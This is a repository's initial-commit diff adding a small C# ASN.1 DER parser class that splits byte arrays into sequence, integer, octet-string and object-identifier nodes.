initial commit
This commit is contained in:
@@ -0,0 +1,95 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Asn1Der
|
||||
{
|
||||
public enum Type
|
||||
{
|
||||
Sequence = 48,
|
||||
Integer = 2,
|
||||
OctetString = 4,
|
||||
ObjectIdentifier = 6
|
||||
}
|
||||
|
||||
public Asn1DerObject Parse(byte[] toParse)
|
||||
{
|
||||
Asn1DerObject asn1DerObject = new Asn1DerObject();
|
||||
for (int i = 0; i < toParse.Length; i++)
|
||||
{
|
||||
switch ((Type)toParse[i])
|
||||
{
|
||||
case Type.Sequence:
|
||||
{
|
||||
byte[] array;
|
||||
if (asn1DerObject.Lenght == 0)
|
||||
{
|
||||
asn1DerObject.Type = Type.Sequence;
|
||||
asn1DerObject.Lenght = toParse.Length - (i + 2);
|
||||
array = new byte[asn1DerObject.Lenght];
|
||||
}
|
||||
else
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Sequence,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
array = new byte[toParse[i + 1]];
|
||||
}
|
||||
int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
asn1DerObject.Objects.Add(Parse(array));
|
||||
i = i + 1 + toParse[i + 1];
|
||||
break;
|
||||
}
|
||||
case Type.Integer:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Integer,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array3.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
case Type.OctetString:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.OctetString,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array4.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
case Type.ObjectIdentifier:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.ObjectIdentifier,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array2.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return asn1DerObject;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user